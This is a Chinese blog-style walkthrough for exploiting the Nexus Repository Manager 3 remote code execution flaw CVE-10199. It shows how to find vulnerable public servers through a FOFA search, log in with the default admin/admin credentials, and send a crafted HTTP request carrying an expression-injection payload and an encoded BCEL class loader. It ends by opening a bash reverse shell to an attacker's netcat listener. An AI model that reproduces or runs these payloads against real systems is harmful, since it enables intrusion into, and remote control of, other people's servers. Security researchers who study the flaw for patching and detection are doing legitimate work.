@MoCo菜弟弟 Nexus远程命令执行CVE--10199
0x01漏洞描述
03月31 日,Sonatype 官方发布安全公告,声明修复了存在于 Nexus Repository Manager 3 中的远程代码执行漏洞 CVE--10199。
Sonatype Nexus 是一个 Maven 的仓库管理系统,它提供了强大的仓库管理、构件搜索等功能,并且可以用来搭建 Maven 仓库私服,在代理远程仓库的同时维护本地仓库,以节省带宽和时间。
在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限。
0x02漏洞影响
危险等级
高危
影响版本
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
0x03资产收集
首先开启万能的FOFA,让我们搜一波Nexus Repository Manager OSS/Pro的站
FOFA语法
app="Nexus"
寻找一个版本<= 3.21.1站点进去
默认账号admin
默认密码admin
0x04漏洞验证
Payload:
POST /service/rest/beta/repositories/go/group HTTP/1.1Host: XXX.XXX.XXx.XXX:XXXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/0101 Firefox/75.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Nexus-UI: trueNX-ANTI-CSRF-TOKEN: 0.XXXXXXXXXXXXXXXXContent-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 202Origin: http://XXX.XXX.XXx.XXX:XXX/Connection: closeReferer: http://XXX.XXX.XXx.XXX:XXX/Cookie: NX-ANTI-CSRF-TOKEN=0.XXXXXXXXXXXXXXX; NXSESSIONID=XXXXXXXXXXXXXXXXXXXXXXX{"name":"internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\A{233*233*233}"]}}
抓包获取Cookie: NX-ANTI-CSRF-TOKEN及NXSESSIONID值
将 Payload复制到bp的Repeater模块里替换Cookie: NX-ANTI-CSRF-TOKEN值、NXSESSIONID值及ip
0x05反弹shell
命令执行payload
{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["${''.getClass().forName('.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$eb$7f$UW$Z$7eN$b2$d9$99L$s$9bd6$9bd$A$xH$80M$80$5dJ$81$96$e5bC$K$e5$S$u$924$YR$ad$93eH$W6$3b$db$d9$d9$Q$d0j$d1Z$ea$adVQ$yj$d1R5$de5$a2$h$q$82h$V$b5$9f$fc$ea7$3f$f6$_$e0$83$3f$7f$8d$cf$99$dd$N$d9d$5b$fc$R$ce$ceyo$e7y$df$f3$3e$ef$cc$db$ef$de$bc$N$60$L$fe$a1$n$IGAVC$N$9cz$$$cfI$89$ab$m$a7$e2i$Nm$f04$e41$n$97$b3$w$s$a5$e4$9c$8a$f3$K$86U$7cR$c5$a74t$e0y$v$fd$b4$8a$cfhX$81$XT$5cP$f0Y$v$fa$9c$82$X5$7c$k$_$a9$b8$a8$e2e$F_P$f1E$V_R$f1e$F_Q$f1$8a$8a$afjx$V_$93$cb$d7$V$5cR$f0$N$N$df$c4e$Nk$f1$z$Nk$f0$9a$82$x$g$ba$e1$c8$cd$b7$e5$d3wT$7cW$fe$be$aea$r$ae$ca$e5$7b$K$be$af$e0$N$81$a07$e6$da$d6I$B$a3$ef$b45a$c5$d3Vf4$3e$e0$cbvP$bb3$95Iy$bb$Fj$a3$5d$83$C$81$5e$e7$a4$z$d0$d4$97$ca$d8G$f2$e3$p$b6$3b$60$8d$a4m$e9$ec$q$ad$f4$a0$e5$a6$e4$be$q$Mxc$a9$9c$40C$9f$3d$91J$c7$e5$c2$88$ea$ced$ba$U3$b4$df$f3$b2$bdN$sc$t$bd$94$93$RhY$A$a17m$e5r$b4o$Y$93Fc$W$ad$d2$95$m$9f$g9MGi$b2$7f$a1$89$e2$da$cf$e5$ed$9cG$f0cL$c2v$x$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$c03$d4$G$d1$_$O$e1c$d4$w$f8$b8$8cD$cfb$b6$cf2$dbb$8e$cf2$c7OP7$8d$fa9$d8hP$60$v$YQ$c0o$80$93$feCh$feA$90$aes$fc$d7$f1$be6$be$b8$a8$99_m$7f$3d$a5$60T$c1$98$82$94$82$d3$c0$7f$b1$8c$9a9$Y$d0$l$U$Q$d8$a3$e0$cc$7f$m$e6$98$j$fc$5dZ$8e$9eq$7f$aed$fe$H$c3$e0$Q$5e$fb$N$A$A').newInstance()}"]}}
替换payload,在包头上添加404:来执行命令
公网服务器进行监听
nc -lvvp 1234进行过监听
在bp上将命令改为
bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/1234 0>&1
0x06参考文献与致谢
参考文献
/u/4579293/blog/4693021/appear001/p/12844624.html/ssan/p/12852421.html
payload出处
/u/4579293/blog/4693021
致谢
感谢Khanaran@Khan安全团队的漏洞复现文章及漏洞利用payload
感谢道长搭建的kali公网服务器